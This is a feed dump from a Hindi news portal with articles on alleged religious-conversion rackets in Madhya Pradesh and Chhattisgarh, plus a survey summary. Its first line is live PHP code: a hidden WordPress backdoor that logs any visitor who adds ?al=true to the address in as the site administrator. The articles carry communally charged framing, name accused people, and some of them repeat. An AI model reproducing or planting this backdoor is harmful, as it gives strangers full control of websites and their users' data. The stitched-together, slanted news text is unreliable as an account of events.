// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); religious conversion – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 26 Feb 2026 03:39:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 भोपाल धर्मांतरण की इनसाइड स्टोरी: लड़कियों से दुष्कर्म, अहमदाबाद-मुंबई कनेक्शन और ‘जन्नत’ का रोल https://pratyushaashakinayikiran.com/?p=200827 Thu, 26 Feb 2026 03:39:00 +0000 https://pratyushaashakinayikiran.com/?p=200827 भोपाल 

मध्यप्रदेश की राजधानी भोपाल में ‘द केरल स्टोरी’ जैसे एक बड़े रैकेट का खुलासा हुआ है। आरोप है कि इस रैकेट में दो मुस्लिम बहनें शामिल हैं, जो हिंदू युवतियों को फंसाने के लिए कभी सहेली बन जाती हैं तो कभी ननद और भाभी की भूमिका में आ जाती हैं। दोनों ने प्रेमी के साथ मिलकर कई हिंदू युवतियों का शारीरिक शोषण करवाया है। इस रैकेट के संपर्क में कई हिंदू युवतियों के होने और इनके मोबाइल में कई संदिग्ध वाट्सएप ग्रुप मिले हैं, जिनमें कई युवतियों की फोटो है। ऐसे में पुलिस को आशंका है कि यह गिरोह युवतियों को नौकरी और हाईप्रोफाइल लाइफ स्टाइल के नाम पर अपने झांसे में लेकर देह व्यापार में धकेलता होगा। 

पुलिस ने रैकेट की मास्टरमाइंड अमरीन उर्फ माहिरा, उसके मुस्लिम प्रेमी चंदन यादव और कथित बहन आफरीन को गिरफ्तार कर रिमांड पर लिया है। पुलिस इस गिरोह में शामिल तीन अन्य आरोपी बिलाल, यासिर और चानू की तलाश कर रही है। फिलहाल दो युवतियों ने एक साथ मामला दर्ज कराया है, जो मूलतः छत्तीसगढ़ की रहने वाली हैं। इस गिरोह का पर्दाफाश होने के बाद कुछ और युवतियों के सामने आकर शिकायत दर्ज कराए जाने की संभावना हैं।
 
आरोप है कि यह गिरोह गरीब घर की हिंदू युवतियों को निशाना बनाकर उनसे दोस्ती करता था और नौकरी के नाम पर अपने चंगुल में लेकर हाईप्रोफाइल लाइफस्टाइल का खर्च उठाता था। गरीब घर की युवतियों को जैसे ही हाईप्रोफाइल लाइफस्टाइल का शौक लग जाता, रैकेट उन्हें पब और पार्टियों में ले जाकर बड़े घर के रईसजादों के साथ शारीरिक संबंध बनाने यानी देह व्यापार करने के लिए मजबूर करता था। यह रैकेट कई युवतियों को मुंबई और अहमदाबाद तक सप्लाई कर चुका है। 

हिंदू नाम रखकर युवतियों को फंसाते थे
बागसेवनिया थाना प्रभारी अमित सोनी ने बताया कि तीन आरोपियों को रिमांड पर लेकर पूछताछ की जा रही है। आरोपियों के मोबाइल भी जब्त कर जांच में लिए गए हैं, कुछ और संदिग्धों के नाम सामने आए हैं। सभी बिंदुओं पर जांच की जा रही है। जल्दी ही कुछ और आरोपियों को गिरफ्तार कर लिया जाएगा।
 
पीड़िताओं ने पुलिस को दिए बयान में बताया है कि रैकेट की मास्टरमाइंड अमरीन उर्फ माहिरा का लिव-इन पार्टनर चंदन यादव भी धर्म बदलकर मुस्लिम बन चुका है। उसने हिंदू युवतियों पर विश्वास कायम करने के लिए हिंदू नाम रखा हुआ है।
 
ब्यूटीशियन को किस तरह फंसाया गया देहव्यापार व धर्मांतरण के दलदल में
पहली पीड़िता छत्तीसगढ़ के मुंगेली क्षेत्र की रहने वाली 23 वर्षीय ब्यूटीशियन है। 31 दिसंबर 2024 को शाहपुरा स्थित एक होटल में दोस्त की बर्थडे पार्टी में उसकी मुलाकात आफरीन नाम की युवती से एक हिंदू युवती ने कराई थी। ब्यूटीशियन की उक्त सहेली ने हिंदू युवतियों को मुस्लिम युवक और युवतियों द्वारा बहुत सम्मान और प्यार दिए जाने का झांसा देकर आफरीन से दोस्ती करने को कहा था। जबकि ब्यूटीशियन की उक्त हिंदू युवती खुद धर्म परिवर्तन कर ‘जन्नत’ बन चुकी है और वर्तमान में अमरीन के मुंहबोले भाई की पत्नी बनकर रह रही है। जनवरी 2025 में ब्यूटीशियन और आफरीन सरगना अमरीन उर्फ माहिरा के साथ एक साथ रहने लगीं। 

पहली पीड़िता से किसने और कहां-कहां किया दुष्कर्म
ब्यूटीशियन के साथ पहली बार चंदन ने अगस्त 2025 में अपनी बहन के नारायण नगर स्थित घर पर दुष्कर्म किया। इसके बाद नवंबर 2025 में अमरीन गांधी नगर क्षेत्र स्थित अब्बास नगर में अपने माता-पिता के घर में ले गई, जहां उसके भाई बिलाल ने नशीला पेय पिलाकर दुष्कर्म किया।  दिसंबर 2025 में अमरीन ने ब्यूटीशियन को निजी काम का हवाला देकर अहमदाबाद ले गई। वहां यासिर नामक युवक ने उससे दुष्कर्म किया। इसके बाद पीड़िता जनवरी 2026 में भोपाल छोड़कर रायपुर में अपने मामा के यहां रहने चली गई। अगस्त 2025 से जनवरी 2026 के बीच चंदन ने ब्यूटीशियन से अमरीन के सागर रॉयल विला स्थित मकान व अन्य स्थानों पर कई बार भोपाल में दुष्कर्म किया है। 

दूसरी पीड़िता को अपने घर में रखकर देह व्यापार में धकेला
रैकेट की सरगना आमरीन से वर्ष 2024 में दीपावली के समय 35 वर्षीय महिला की एक मॉल में मुलाकात हुई। उक्त महिला अपने दो छोटे-छोटे बच्चों के साथ भोपाल के अशोका गार्डन में रहती थी। पति से तलाक हो चुका है। वह मूलतः छत्तीसगड़ की रहने वाली है। अमरीन ने उक्त महिला को पहले अपने घर में दो माह तक काम पर रखा। इसके बाद होशंगाबाद रोड स्थित सागर रॉयल विला स्थित डुप्लेक्स में रख लिया। इसके बाद उससे चंदन ने दुष्कर्म किया। फिर यासिर और चानू नाम के व्यक्ति अमरीन से मिलने आते और उक्त महिला से दुष्कर्म करते थे। बाद में उसे दूसरे युवकों से संबंध बनाने के लिए भोपाल में भेजा जाने लगा तो वह काम छोड़कर बच्चों के साथ वापस छत्तीसगढ़ चली गई।
 
तीन आरोपी पकड़े गए, बाकी चल रहे फरार
इस मामले में अब तक रैकेट की मास्टरमाइंड अमरीन उर्फ माहिरा, उसकी कभी सहेली तो कभी बहन बताने वाली आफरीन और अमरीन का लिव-इन पार्टनर चंदन यादव गिरफ्तार किए गए हैं। तीनों बागसेवनिया पुलिस की रिमांड पर हैं। अमरीन का भाई बिलाल, मुंहबोला भाई चानू और अहमदाबाद निवासी यासिर फरार हैं। दूसरी पीड़िता से एक-दो अन्य युवकों ने दुष्कर्म किया, उनके नामों का खुलासा नहीं हो सका है। पुलिस ने दो पीड़िताओं की शिकायत पर अब तक छह आरोपियों के खिलाफ नामजद मामला दर्ज किया है।

 

]]>
न्यायधानी में धर्मांतरण की आशंका: आवास में प्रार्थना सभा कर रहा SECL कर्मचारी हिरासत में https://pratyushaashakinayikiran.com/?p=191213 Thu, 13 Nov 2025 10:00:00 +0000 https://pratyushaashakinayikiran.com/?p=191213 बिलासपुर

बिलासपुर में धर्मांतरण को लेकर फिर हंगामा मचा है. प्रार्थना सभा की आड़ में चल रहे धर्मांतरण के खेल का हिंदू संगठनों ने बुधवार रात भंडाफोड़ किया. पुलिस ने केस दर्ज कर प्रार्थना सभा आयोजित करने वाले एसईसीएल कर्मचारी को हिरासत में ले लिया है.

दरअसल, हिंदू संगठनों को सूचना मिली कि सरकंडा क्षेत्र के बसंत विहार कॉलोनी के एक घर में प्रार्थना सभा के आड़ में लोगों को कनवर्ट करने का प्रयास किया जा रहा है. पुलिस को सूचना देते हुए हिन्दू संगठन के कार्यकर्ता मौके पर पहुंचे. यहां एसईसीएल कर्मचारी राजेंद्र खरे के मकान में प्रार्थना सभा चल रही थी, जिसमें हिन्दू समाज के लोग मौजूद थे.

आरोप है कि सभा में हिन्दू देवी-देवताओं के खिलाफ भ्रामक जानकारी देते हुए मौजूद लोगों को ईसाई धर्म अपनाने के लिए प्रेरित किया जा रहा था. वहीं मौके से ईसाई धर्म की किताबें व अन्य प्रचार सामग्रियां भी मिली हैं. हिन्दू संगठनों ने प्रार्थना सभा का विरोध करते हुए मकान के बाहर जमकर नारेबाजी की. जिसके बाद मामले की लिखित शिकायत थाने में दर्ज कराई गई.

हिन्दू संगठन के कार्यकर्ताओं का कहना था वे बिलासपुर में बिल्कुल भी धर्मांतरण के खेल को बर्दाश्त नहीं करेंगे. जहां से भी इसकी जानकारी मिलेगी, वहां जाकर विरोध दर्ज कराया जाएगा. पुलिस ने शिकायत पर मामला दर्ज कर एसईसीएल कर्मचारी को हिरासत में लेकर जांच शुरू कर दी है.

]]>
इंदौर में अनोखा मामला: हिंदू बहू ने पति पर मुस्लिम धर्म अपनाने का बनाया दबाव, ससुराल वालों ने कराई FIR https://pratyushaashakinayikiran.com/?p=179404 Wed, 20 Aug 2025 14:16:00 +0000 https://pratyushaashakinayikiran.com/?p=179404 इंदौर 
इंदौर जिला न्यायालय ने एक बहू के खिलाफ घरेलू हिंसा से महिलाओं का संरक्षण अधिनियम के तहत मंगलवार को मामला दर्ज किया है। आरोप है कि विवाह के बाद महिला ने हिंदू पति और ससुराल पक्ष पर धर्म परिवर्तन का दबाव बनाया और मानसिक व शारीरिक प्रताड़ना दी।

शादी के कुछ दिनों बाद ही बढ़ने लगे विवाद
मरीमाता क्षेत्र की एक युवती का विवाह अप्रैल 2022 में एरोड्रम इलाके के युवक से हुआ था। ससुराल पक्ष के अनुसार, महिला विवाह के बाद केवल 15–20 दिन ही घर पर रही। इस दौरान वह अपने मुस्लिम मित्रों के प्रभाव में आकर मुस्लिम धर्म की इबादत करने लगी। परिवार का आरोप है कि बहू दरगाह जाकर ताबीज, भभूत और फल लाकर जबरदस्ती पति को खिलाने लगी। जब धर्म परिवर्तन के लिए पति ने मना किया तो महिला ने हाथ की नस काटकर आत्महत्या करने की धमकी दी।

पति और सास पर दबाव, 10 लाख की मांग
ससुराल वालों ने बताया कि एक दिन बहू ने अपनी अलमारी से सभी जेवर निकाल लिए और कहा कि वह "अल्लाह के सजदे" में जा रही है। उसने पति से भी साथ चलने का दबाव बनाया। 17 मार्च 2024 को महिला अपने मायके वालों और दोस्तों के साथ घर आई और 10 लाख रुपए की मांग की। इसी दौरान उसने पति को धर्म बदलने का दबाव बनाकर धमकाया। ससुराल पक्ष ने पुलिस को बुलाया, लेकिन महिला और उसके साथी मौके से चले गए।

पुलिस शिकायत के बावजूद कार्रवाई नहीं
परिवार ने वर्ष 2024 में ही पुलिस कमिश्नर को शिकायत दी थी। एरोड्रम थाने में मामला दर्ज भी हुआ, लेकिन कोई कार्रवाई नहीं हुई। इसके बाद भी बहू लगातार ससुराल पर दबाव बनाती रही।

अदालत ने लिया संज्ञान, बहू को नोटिस
थक हारकर परिवार ने एडवोकेट डॉ. रुपाली राठौर और कृष्ण कुमार कुन्हारे के माध्यम से जिला न्यायालय में प्रकरण प्रस्तुत किया। अदालत को दी गई जानकारी में पीड़ित पति और सास ने बहू की धमकियों और जबरदस्ती का पूरा ब्यौरा दिया। महिला एवं बाल विकास अधिकारी की गोपनीय जांच रिपोर्ट में भी बहू द्वारा मानसिक और शारीरिक प्रताड़ना की पुष्टि हुई। इसके आधार पर अदालत ने घरेलू हिंसा अधिनियम के तहत केस दर्ज कर बहू को नोटिस जारी किया है। 

]]>
बिलासपुर में प्रार्थना भवन पर चला बुलडोजर, अतिक्रमण हटाया; तीन महिलाएं मतांतरण के आरोप में गिरफ्तार https://pratyushaashakinayikiran.com/?p=179143 Tue, 19 Aug 2025 12:06:00 +0000 https://pratyushaashakinayikiran.com/?p=179143 बिलासपुर 

 बिलासपुर जिले में धार्मिक गतिविधियों को लेकर दो बड़े मामले सामने आए हैं। सकरी क्षेत्र के भरनी गांव में शासकीय भूमि पर अतिक्रमण कर बनाए गए प्रार्थना भवन को सोमवार को प्रशासन ने बुलडोजर चलाकर हटा दिया। यहां पहले मतांतरण के प्रयास का आरोप लगा था। वहीं, सरकंडा थाना क्षेत्र के बहतराई में प्रार्थना सभा की आड़ में मतांतरण का प्रयास होने पर हंगामा खड़ा हो गया और पुलिस ने मौके से तीन महिलाओं को गिरफ्तार किया।

सुर्खियों में आया था प्रार्थना भवन

प्रशासन ने शासकीय भूमि पर बना यह प्रार्थना भवन पिछले माह तब सुर्खियों में आया था जब यहां मतांतरण का आरोप लगाया गया था। ग्रामीणों और संगठनों का कहना था कि भवन के भीतर कुछ लोग प्रलोभन देकर धर्म परिवर्तन कराने का प्रयास कर रहे थे। आक्रोशित ग्रामीणों ने तीन संदिग्धों को पकड़कर पुलिस के हवाले भी किया था। इसके बाद प्रशासन को ज्ञापन सौंपकर अतिक्रमण हटाने और मतांतरण रोकने की मांग की गई थी।

शिकायत पर राजस्व विभाग ने संबंधित पक्ष को नोटिस जारी किया और भूमि दस्तावेज मांगे, लेकिन वैध अनुमति प्रस्तुत नहीं की गई। जांच में भूमि शासकीय साबित होने पर सोमवार को प्रशासन ने बैकहो लोडर चलवाकर अतिक्रमण हटा दिया। तहसीलदार सकरी, सीएसपी और थाना प्रभारी प्रदीप आर्य के नेतृत्व में कार्रवाई की गई।

पास्टर सहित तीन महिलाएं गिरफ्तार

इधर, सरकंडा थाना क्षेत्र के बहतराई में भी प्रार्थना सभा के दौरान मतांतरण की कोशिश का मामला सामने आया। सूचना पर विभिन्न संगठन मौके पर पहुंचे और विरोध करने लगे, जिससे हंगामा मच गया। आरोप है कि सभा में धार्मिक ग्रंथ और सामग्री के माध्यम से लोगों को धर्म बदलने के लिए प्रेरित किया जा रहा था। पुलिस ने स्थिति नियंत्रित कर तीन महिलाओं, जिनमें एक पास्टर भी शामिल है, को गिरफ्तार किया।

 

]]>
बिलासपुर में प्रार्थना भवन पर चला बुलडोजर, अतिक्रमण हटाया; तीन महिलाएं मतांतरण के आरोप में गिरफ्तार https://pratyushaashakinayikiran.com/?p=179145 Tue, 19 Aug 2025 12:06:00 +0000 https://pratyushaashakinayikiran.com/?p=179145 बिलासपुर 

 बिलासपुर जिले में धार्मिक गतिविधियों को लेकर दो बड़े मामले सामने आए हैं। सकरी क्षेत्र के भरनी गांव में शासकीय भूमि पर अतिक्रमण कर बनाए गए प्रार्थना भवन को सोमवार को प्रशासन ने बुलडोजर चलाकर हटा दिया। यहां पहले मतांतरण के प्रयास का आरोप लगा था। वहीं, सरकंडा थाना क्षेत्र के बहतराई में प्रार्थना सभा की आड़ में मतांतरण का प्रयास होने पर हंगामा खड़ा हो गया और पुलिस ने मौके से तीन महिलाओं को गिरफ्तार किया।

सुर्खियों में आया था प्रार्थना भवन

प्रशासन ने शासकीय भूमि पर बना यह प्रार्थना भवन पिछले माह तब सुर्खियों में आया था जब यहां मतांतरण का आरोप लगाया गया था। ग्रामीणों और संगठनों का कहना था कि भवन के भीतर कुछ लोग प्रलोभन देकर धर्म परिवर्तन कराने का प्रयास कर रहे थे। आक्रोशित ग्रामीणों ने तीन संदिग्धों को पकड़कर पुलिस के हवाले भी किया था। इसके बाद प्रशासन को ज्ञापन सौंपकर अतिक्रमण हटाने और मतांतरण रोकने की मांग की गई थी।

शिकायत पर राजस्व विभाग ने संबंधित पक्ष को नोटिस जारी किया और भूमि दस्तावेज मांगे, लेकिन वैध अनुमति प्रस्तुत नहीं की गई। जांच में भूमि शासकीय साबित होने पर सोमवार को प्रशासन ने बैकहो लोडर चलवाकर अतिक्रमण हटा दिया। तहसीलदार सकरी, सीएसपी और थाना प्रभारी प्रदीप आर्य के नेतृत्व में कार्रवाई की गई।

पास्टर सहित तीन महिलाएं गिरफ्तार

इधर, सरकंडा थाना क्षेत्र के बहतराई में भी प्रार्थना सभा के दौरान मतांतरण की कोशिश का मामला सामने आया। सूचना पर विभिन्न संगठन मौके पर पहुंचे और विरोध करने लगे, जिससे हंगामा मच गया। आरोप है कि सभा में धार्मिक ग्रंथ और सामग्री के माध्यम से लोगों को धर्म बदलने के लिए प्रेरित किया जा रहा था। पुलिस ने स्थिति नियंत्रित कर तीन महिलाओं, जिनमें एक पास्टर भी शामिल है, को गिरफ्तार किया।

 

]]>
धर्म परिवर्तन एक वैश्विक घटनाक्रम है, जिसमें ईसाई और बौद्ध धर्म के अनुयायी सबसे आगे : सर्वे https://pratyushaashakinayikiran.com/?p=150883 Wed, 23 Apr 2025 03:46:00 +0000 https://pratyushaashakinayikiran.com/?p=150883 नई दिल्ली
भारत के लिए धर्म परिवर्तन बहुत बड़े राजनीतिक विवाद का मसला रहा है। लेकिन, हकीकत ये है कि अपना धर्म छोड़कर दूसरा धर्म अपनाने या किसी भी धर्म को न मानने वाले लोगों के मामले में अमेरिका और यूरोप के देश ज्यादा आगे हैं। तथ्य यह भी है कि जब धर्म परिवर्तन की बात आती है या अपना धर्म छोड़ने की बात आती है तो इसमें ईसाई सबसे आगे हैं। उनके बाद बौद्ध हैं, जिन्होंने सबसे ज्यादा धर्म परिवर्तन करने में दिलचस्पी दिखाई है। एक बड़ा तथ्य यह भी है कि ऐसा करने वालों में अधिकतर ऐसे लोग हैं, जिन्होंने अपना धर्म तो छोड़ दिया है, लेकिन वह किसी अन्य धर्म से जुड़े भी नहीं। इसके बाद वे लोग हैं, जिन्होंने न सिर्फ अपना धर्म बदला है, बल्कि नई आस्था भी कबूल की है।

दक्षिण कोरिया में 50% ने छोड़ा अपना धर्म

प्यू रिसर्च सेंटर दुनिया के 36 देशों में सर्वे के आधार पर इस नतीजे पर पहुंचा है कि अगर दक्षिण कोरिया जैसे देश की आधी आबादी अपना धर्म छोड़ चुकी है, वहीं हिंदू और मुसलमानों की यह विशेषता है कि वह जिस धर्म में पैदा होते हैं, उसे बिरले ही छोड़ते हैं। मतलब, उनकी आस्था अपने धर्म से आमतौर पर हमेशा जुड़ी रहती है। इस सर्वे के अनुसार अपना धर्म बदलने वाले लोगों में एक बड़ा ट्रेंड ये है कि इनमें ज्यादातर जनसंख्या उन लोगों की है, जो किसी दूसरे धर्म को अपनाने की जगह खुद को नास्तिक, अनिश्वरवादी (atheists),अज्ञेयवादी (agnostics) या 'नथिंग इन पर्टिक्युलर'कहलाना ज्यादा पसंद करते हैं। दक्षिण कोरिया के बाद सबसे ज्यादा लोगों ने अपना धर्म स्पेन में बदला है। इस लिस्ट में कुल 15 देशों के नाम हैं, जिसमें भारत 14वें स्थान पर है, जहां मात्र 2% लोग आज उस धर्म का पालन नहीं करते, जिस आस्था में उनका जन्म हुआ था।
अपना धर्म छोड़ने में ईसाई सबसे आगे

हमने ऊपर बात की ईसाई धर्म मानने वालों की, जो सबसे ज्यादा धर्म बदल रहे हैं। यह इस तरह से देखा जा सकता है कि स्पेन में जहां करीब 100 में से 90 लोग ईसाई बनकर पैदा हुए, लेकिन अब उनमें से 54 ही इस धर्म को मानते हैं। यानी कुल 36% क्रिश्चियन अपना धर्म छोड़ चुके हैं। इसमें कुल 10 ईसाई बहुल देशों का जिक्र है, जिसमें दूसरे नंबर पर स्वीडन और आखिर में इटली का नाम है। इटली में भी 20 क्रिश्चियन आज उस धर्म को नहीं मानते, जिसमें उनका जन्म हुआ था। अमेरिका में ऐसे लोगों की संख्या 22% है।

धर्म छोड़ने वालों में ईसाइयों के बाद बौद्ध

हजारों साल पहले भारत में बौद्ध धर्म का रंग फीका पड़ने लगा था। दुनिया भर में ईसाइयों के बाद आज जिस धर्म के लोग अपने मूल धर्म से मुंह फेर रहे हैं तो वे बौद्ध हैं। मसलन, जापान में अगर 58 लोगों ने बौद्ध धर्म में जन्म लिया तो आज उनमें से मात्र 34 ही इस धर्म को मानते हैं। कुल मिलाकर 26% ने अपना मूल धर्म छोड़ दिया है। यह स्थिति दक्षिण कोरिया, सिंगापुर से लेकर श्रीलंका तक में दिखाई दे रही है।

अमेरिका में 23% मुसलमानों ने छोड़ा इस्लाम

जैसा कि पहले बताया गया कि इस सर्वे के अनुसार आज भी हिंदू और मुसलमानों में ऐसे लोगों की संख्या सबसे ज्यादा है, जो अपने धर्म में ही बने रहना पसंद करते हैं, और अपना धर्म छोड़कर दूसरे को अपनाने वालों की संख्या इनमें सबसे कम है। जैसे बांग्लादेश, इंडोनेशिया, मलेशिया जैसे मुस्लिम बहुल देशों में एक भी मुसलमान ने इस्लाम नहीं छोड़ा। यही स्थिति ट्यूनिशिया की भी है। भारत में सिर्फ 1% मुसलमान अपना धर्म छोड़कर दूसरे धर्म में शामिल हुए हैं। भारत से ज्यादा तुर्की में मुसलमानों ने इस्लाम छोड़ा है। यहां इस्लाम में पैदा होने वाले 4% लोग अब खुद को मुस्लिम नहीं मानते और इनमें से 1% दूसरा धर्म अपना चुके हैं। सिंगापुर में यह संख्या 3% है, जो अब मुस्लिम नहीं हैं। सबसे ज्यादा मुसलमानों ने अमेरिका में इस्लाम छोड़ा है। यहां अगर 100 लोग इस्लाम में पैदा हुए थे तो अब उनमें से सिर्फ 77 ही इसका पालन करते हैं। यानी 23% ने इस्लाम छोड़ दिया है। 10% ने कोई अन्य धर्म अपना लिया है और 13% किसी भी धर्म का पालन नहीं करते।

अमेरिका में 18% हिंदुओं ने हिंदुत्व छोड़ा

मुसलमान ही नहीं अमेरिका में रहने वाले सबसे ज्यादा हिंदुओं ने भी अपना धर्म छोड़ा है। आज अमेरिका में ऐसे लोगों की संख्या 18% है, जो पैदा तो हिंदू धर्म में हुए थे, लेकिन अब इस धर्म को नहीं मानते। ऐसा करने वाले श्रीलंका में 11% हैं। श्रीलंका में जिन लोगों ने हिंदू धर्म छोड़ा है, उनमें से अधिकांश अब ईसाई बन चुके हैं। लेकिन, अमेरिका में हिंदुत्व छोड़ने वाले अधिकतर आज कोई धर्म नहीं मानते और बाकी ईसाई बन चुके हैं।

दुनिया में 14.4% लोग किसी धर्म को नहीं मानते

इस सर्वे का एक बड़ा नतीजा ये रहा है कि 2022 के आंकड़ों के अनुसार दुनिया में अगर 31.6% ईसाई, 25.8% मुसलमान और 15.1% हिंदू थे तो ऐसे लोगों की तादाद 14.4% हो चुकी थी, जो किसी धर्म से नहीं जुड़े थे। इनके बाद 6.6% बौद्ध,5.4% फोक रिलिजनिस्ट, 0.8% अन्य और 0.2% यहूदी थे।

एक और महत्वपूर्ण बात जो इस सर्वे से सामने आई है, वह यह कि धर्म से मुंह मोड़ने वालों में ज्यादातर युवा हैं। इनमें भी सबसे ज्यादा तादाद पढ़े-लिखे और पुरुषों की है, जो उस धर्म से निकल रहे हैं, जिसमें वे पैदा हुए थे।

]]>
1 लाख रुपये, नौकरी का लालच, धर्म परिवर्तन के लिए जालंधर जा रहे 18 मजदूर प्रदेश में पकड़े गए https://pratyushaashakinayikiran.com/?p=139562 Thu, 13 Mar 2025 09:35:00 +0000 https://pratyushaashakinayikiran.com/?p=139562 ग्वालियर

 ग्वालियर में देर रात पातालकोट एक्सप्रेस ट्रेन में पुलिस ने 18 यात्रियों को पकड़ा है। ये सभी लोग गरीब मजदूर वर्ग के हैं। इन्हें कुछ लोगों ने लालच दिया था कि यदि वे ईसाई धर्म अपना लेंगे, तो उन्हें एक-एक लाख रुपए मिलेंगे। साथ ही, उनके बच्चों को क्रिश्चियन स्कूल में पढ़ाया जाएगा और उन्हें विदेश में नौकरी करने का मौका मिलेगा। इसी लालच में छिंदवाड़ा से बड़ी संख्या में लोग इस गिरोह के साथ पातालकोट एक्सप्रेस ट्रेन से पंजाब की ओर रवाना हुए थे।

हालांकि, पुलिस को सूचना मिलते ही घेराबंदी कर दी गई। सबसे पहले विदिशा के गंजबासौदा में ट्रेन को रोककर 11 यात्रियों को उतार लिया गया। इसके बाद बीना स्टेशन पर 4 यात्रियों को सुरक्षित बचाया गया। यहां यह पता चला कि कोच एस-1 में तीन यात्री और हैं। इसके बाद, ग्वालियर रेलवे स्टेशन पर पातालकोट एक्सप्रेस को 30 मिनट तक रोककर सघन जांच की गई, जिसके बाद तीन यात्रियों को पकड़ा गया। ग्वालियर जीआरपी ने इन तीनों को गंजबासौदा पुलिस के हवाले कर दिया।

ग्वालियर जीआरपी पुलिस के मुताबिक बजरंग दल के पदाधिकारियों ने सूचना दी थी कि मध्यप्रदेश के छिंदवाड़ा से बड़ी संख्या में गरीब और मजदूर वर्ग के लोगों को धर्मांतरण के लिए पंजाब के जालंधर चर्च ले जाया जा रहा है। वहां इन लोगों को पैसों का प्रलोभन देकर धर्म परिवर्तन कराया जाएगा।सूचना देने वालों ने बताया कि छिंदवाड़ा के सेजनाथ सूर्यवंशी और विजय कुमार इन लोगों को लेकर पातालकोट एक्सप्रेस ट्रेन में सवार हैं।

पकड़े गए यात्रियों ने पुलिस को बताया कि सेजनाथ और विजय कुमार कुछ महीने पहले उनसे मिले थे। उन्होंने बताया था कि ईसाई धर्म अपनाने पर उन्हें कई फायदे होंगे, एक लाख रुपए मिलेंगे, उनके बच्चों को अच्छे स्कूल में पढ़ाया जाएगा और वे विदेश जाने का अवसर पा सकेंगे।यही लोग उन्हें जालंधर, पंजाब के चर्च में ले जा रहे थे।

आरोपियों ने यह भी बताया कि इससे पहले उन्हें फिरोजपुर के चर्च भी ले जाया जा चुका है। इस मामले में ग्वालियर जीआरपी ने बताया कि पकड़े गए तीनों यात्रियों को गंजबासौदा जीआरपी को सौंप दिया गया है। पुलिस इस मामले में आगे की जांच कर रही है।.

बजरंग दल ने दी थी जानकारी ग्वालियर जीआरपी से मिली जानकारी के अनुसार, बुधवार को भोपाल पुलिस को बजरंग दल के पदाधिकारियों ने सूचना दी थी कि छिंदवाड़ा से बड़ी संख्या में गरीब और मजदूर वर्ग के लोगों को धर्मांतरण के लिए पंजाब के जालंधर चर्च ले जाया जा रहा है। वहां इन लोगों को पैसों का प्रलोभन देकर धर्म परिवर्तन कराया जाएगा।

सूचना देने वालों ने बताया कि छिंदवाड़ा के सेजनाथ सूर्यवंशी और विजय कुमार इन लोगों को लेकर पातालकोट एक्सप्रेस ट्रेन के एस-1, एस-2, एस-3, एस-4, एस-5 कोच में सवार हैं। इस पर भोपाल पुलिस सक्रिय हुई, लेकिन स्टेशन पहुंचने तक ट्रेन रवाना हो चुकी थी। इसके बाद आगे विदिशा के गंजबासौदा में पुलिस और जीआरपी को सूचना दी गई।

गंजबासौदा स्टेशन पर ट्रेन को रोककर पुलिस ने 11 यात्रियों को पहचान कर हिरासत में लिया, जिनमें सेजनाथ और विजय भी शामिल थे। जब ट्रेन यहां से निकली तो पता चला कि कुछ और लोग अभी भी ट्रेन में सवार हैं। इसके बाद बीना स्टेशन पर पुलिस ने एस-4 कोच से चार और यात्रियों को पकड़ा।

बीना स्टेशन पर भी पकड़े गए यात्री बीना में पकड़े गए यात्रियों से पूछताछ के बाद पता चला कि ट्रेन में उनके तीन और साथी मौजूद हैं, जो एस-1 और एस-2 कोच में बैठे हैं। इसके बाद ग्वालियर पुलिस और जीआरपी को सूचना दी गई। रात 11:30 बजे जब पातालकोट एक्सप्रेस ग्वालियर पहुंची तो पुलिस ने घेराबंदी कर दी।

पुलिस को देखकर धर्मांतरण के लिए जा रहे यात्री अन्य कोचों में छिपने की कोशिश करने लगे। करीब 30 मिनट तक पुलिस और जीआरपी ने ट्रेन की तलाशी ली और आखिरकार एस-5 कोच से तीन यात्रियों को पकड़ लिया। इनमें शामिल हैं,

    रितेश प्रकाश (37 वर्ष) – पिता का नाम जान प्रकाश, निवासी मिशन चर्च कंपाउंड
    मना विश्वकर्मा (45 वर्ष) – पिता का नाम फगनलाल, निवासी नोनिया करवल परतला
    राकेश (41 वर्ष) – पिता का नाम विजय नागवंशी, निवासी छिंदवाड़ा

लालच देकर धर्म परिवर्तन की कोशिश पकड़े गए यात्रियों ने पुलिस को बताया कि सेजनाथ और विजय कुमार कुछ महीने पहले उनसे मिले थे। उन्होंने बताया था कि ईसाई धर्म अपनाने पर उन्हें कई फायदे होंगे, एक लाख रुपए मिलेंगे, उनके बच्चों को अच्छे स्कूल में पढ़ाया जाएगा और वे विदेश जाने का अवसर पा सकेंगे।

यही लोग उन्हें जालंधर, पंजाब के चर्च में ले जा रहे थे। आरोपियों ने यह भी बताया कि इससे पहले उन्हें फिरोजपुर के चर्च भी ले जाया जा चुका है।

इस मामले में ग्वालियर जीआरपी ने बताया कि पकड़े गए तीनों यात्रियों को गंजबासौदा जीआरपी को सौंप दिया गया है। पुलिस इस मामले में आगे की जांच कर रही है।

]]>
1 लाख रुपये, नौकरी का लालच, धर्म परिवर्तन के लिए जालंधर जा रहे 18 मजदूर प्रदेश में पकड़े गए https://pratyushaashakinayikiran.com/?p=139564 Thu, 13 Mar 2025 09:35:00 +0000 https://pratyushaashakinayikiran.com/?p=139564 ग्वालियर

 ग्वालियर में देर रात पातालकोट एक्सप्रेस ट्रेन में पुलिस ने 18 यात्रियों को पकड़ा है। ये सभी लोग गरीब मजदूर वर्ग के हैं। इन्हें कुछ लोगों ने लालच दिया था कि यदि वे ईसाई धर्म अपना लेंगे, तो उन्हें एक-एक लाख रुपए मिलेंगे। साथ ही, उनके बच्चों को क्रिश्चियन स्कूल में पढ़ाया जाएगा और उन्हें विदेश में नौकरी करने का मौका मिलेगा। इसी लालच में छिंदवाड़ा से बड़ी संख्या में लोग इस गिरोह के साथ पातालकोट एक्सप्रेस ट्रेन से पंजाब की ओर रवाना हुए थे।

